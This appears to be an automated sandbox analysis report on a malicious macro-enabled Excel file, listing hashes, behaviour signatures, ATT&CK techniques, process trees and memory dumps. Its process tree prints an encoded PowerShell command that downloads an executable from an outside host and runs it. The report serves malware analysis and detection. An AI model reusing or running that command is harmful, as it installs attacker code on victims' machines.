dbab36b0c92470f2cffe6d16e31e58d52668605a7179d47542c4bbd2c41c15a3

Analysis

max time kernel
140s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
09/01/2024, 00:35

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General

Target

4cdf257d1c1771b1ecd147badf058d02.xlsm
Size

42KB
MD5

4cdf257d1c1771b1ecd147badf058d02
SHA1

a62dc214003f943b9242e628c7b6a1891000984e
SHA256

dbab36b0c92470f2cffe6d16e31e58d52668605a7179d47542c4bbd2c41c15a3
SHA512

96b5c89b90fd6f8b83696a81da2ff966cf03174de788a3efc7a65c51b06533386ec023a36b748440c41ea85e6ca07edd117e5202034def5644aba7db0fa0263f
SSDEEP

768:Wv65bfxH+zrZN0DGCfkyX3eks4pSGn0Qic3q8Wt4oLZN4q:a6LIGzfPeUv02Q4c5

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	716	5092	cmd.exe	19

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4208	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
744	powershell.exe
744	powershell.exe
744	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	744	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4208	EXCEL.EXE
4208	EXCEL.EXE
4208	EXCEL.EXE
4208	EXCEL.EXE
4208	EXCEL.EXE
4208	EXCEL.EXE
4208	EXCEL.EXE
4208	EXCEL.EXE
4208	EXCEL.EXE
4208	EXCEL.EXE
4208	EXCEL.EXE
4208	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 716 wrote to memory of 744	716	cmd.exe	98
PID 716 wrote to memory of 744	716	cmd.exe	98

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4cdf257d1c1771b1ecd147badf058d02.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4208

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy BypasS -ENC JAByAGUAcQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AcwBlAHIAeQBhAG4AagBlAGsALgBjAG8AbQAvAGEAcABpAC8AdgAzAC8AZABpAHMAYQBtAGIAaQBnAHUAYQB0AGUALwBuAG8AbgBlAHEAdQBpAHYAYQBsAGUAbgB0AC8AZABpAHQAcgBpAGcAbwBuAGEAbAAiACkALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQAKACQAbQBlAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAAoAJAByAGUAcQAuAEMAbwBwAHkAVABvACgAJABtAGUAbQApAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABLAHkAbABlAHAAbwBuAG8ALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAkAG0AZQBtAC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAkAHIAZQBxAC4AQwBsAG8AcwBlACgAKQAKACQAbQBlAG0ALgBDAGwAbwBzAGUAKAApAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABLAHkAbABlAHAAbwBuAG8ALgBlAHgAZQAiAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:744

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell -ExecutionPolicy BypasS -ENC JAByAGUAcQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AcwBlAHIAeQBhAG4AagBlAGsALgBjAG8AbQAvAGEAcABpAC8AdgAzAC8AZABpAHMAYQBtAGIAaQBnAHUAYQB0AGUALwBuAG8AbgBlAHEAdQBpAHYAYQBsAGUAbgB0AC8AZABpAHQAcgBpAGcAbwBuAGEAbAAiACkALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQAKACQAbQBlAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAAoAJAByAGUAcQAuAEMAbwBwAHkAVABvACgAJABtAGUAbQApAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABLAHkAbABlAHAAbwBuAG8ALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAkAG0AZQBtAC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAkAHIAZQBxAC4AQwBsAG8AcwBlACgAKQAKACQAbQBlAG0ALgBDAGwAbwBzAGUAKAApAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABLAHkAbABlAHAAbwBuAG8ALgBlAHgAZQAiAA=="
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xa50bq5p.fxa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/744-3780-0x00007FF80E530000-0x00007FF80EFF1000-memory.dmp

Filesize
10.8MB

Download
memory/744-3775-0x00007FF80E530000-0x00007FF80EFF1000-memory.dmp

Filesize
10.8MB

Download
memory/744-3777-0x000001EA91520000-0x000001EA91530000-memory.dmp

Filesize
64KB

Download
memory/744-3776-0x000001EA91520000-0x000001EA91530000-memory.dmp

Filesize
64KB

Download
memory/744-3774-0x000001EA916E0000-0x000001EA91702000-memory.dmp

Filesize
136KB

Download
memory/4208-21-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-98-0x000002264D3D0000-0x000002264DBD0000-memory.dmp

Filesize
8.0MB

Download
memory/4208-20-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-2-0x00007FF7F7730000-0x00007FF7F7740000-memory.dmp

Filesize
64KB

Download
memory/4208-22-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-19-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-18-0x00007FF7F5620000-0x00007FF7F5630000-memory.dmp

Filesize
64KB

Download
memory/4208-16-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-13-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-10-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-9-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-8-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-7-0x00007FF7F7730000-0x00007FF7F7740000-memory.dmp

Filesize
64KB

Download
memory/4208-4-0x00007FF7F7730000-0x00007FF7F7740000-memory.dmp

Filesize
64KB

Download
memory/4208-3-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-1-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-0-0x00007FF7F7730000-0x00007FF7F7740000-memory.dmp

Filesize
64KB

Download
memory/4208-17-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-12-0x00007FF7F5620000-0x00007FF7F5630000-memory.dmp

Filesize
64KB

Download
memory/4208-15-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-14-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-11-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-5-0x00007FF7F7730000-0x00007FF7F7740000-memory.dmp

Filesize
64KB

Download
memory/4208-6-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-3784-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-3787-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-3788-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-3789-0x000002264D3D0000-0x000002264DBD0000-memory.dmp

Filesize
8.0MB

Download
memory/4208-3809-0x00007FF8376B0000-0x00007FF8378A5000-memory.dmp

Filesize
2.0MB

Download
memory/4208-3808-0x00007FF7F7730000-0x00007FF7F7740000-memory.dmp

Filesize
64KB

Download
memory/4208-3807-0x00007FF7F7730000-0x00007FF7F7740000-memory.dmp

Filesize
64KB

Download
memory/4208-3806-0x00007FF7F7730000-0x00007FF7F7740000-memory.dmp

Filesize
64KB

Download
memory/4208-3805-0x00007FF7F7730000-0x00007FF7F7740000-memory.dmp

Filesize
64KB

Download